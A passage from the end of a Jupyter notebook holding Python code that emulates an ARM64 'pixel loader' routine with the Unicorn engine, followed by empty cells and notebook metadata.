    "    # Mark stack as N^X. Will throw an error if we try to execute this region \n",
    "    mu.mem_protect(download_buffer, 1024*1024*5, UC_PROT_READ | UC_PROT_WRITE);\n",
    "    \n",
    "    # emulate machine code in infinite time\n",
    "    mu.reg_write(UC_ARM64_REG_SP,STACK_START)\n",
    "    mu.emu_start(pixel_loader_entry_run, 0,count=100000)\n",
    "    pc = mu.reg_read(UC_ARM64_REG_PC)    \n",
    "    print(f\">>> PC = 0x{pc:x}\")\n",
    "    \n",
    "except UcError as e:\n",
    "    print(\"ERROR: %s\" % e),"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "14549e7e-f3bc-4fdf-9801-c866a4be9c08",
   "metadata": {},
   "outputs": [],
   "source": []
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "ea35dfbe-035b-49cd-940a-e86172a5f0e6",
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (pyenv)",
   "language": "python",
   "name": "pyenv"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.10.0"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}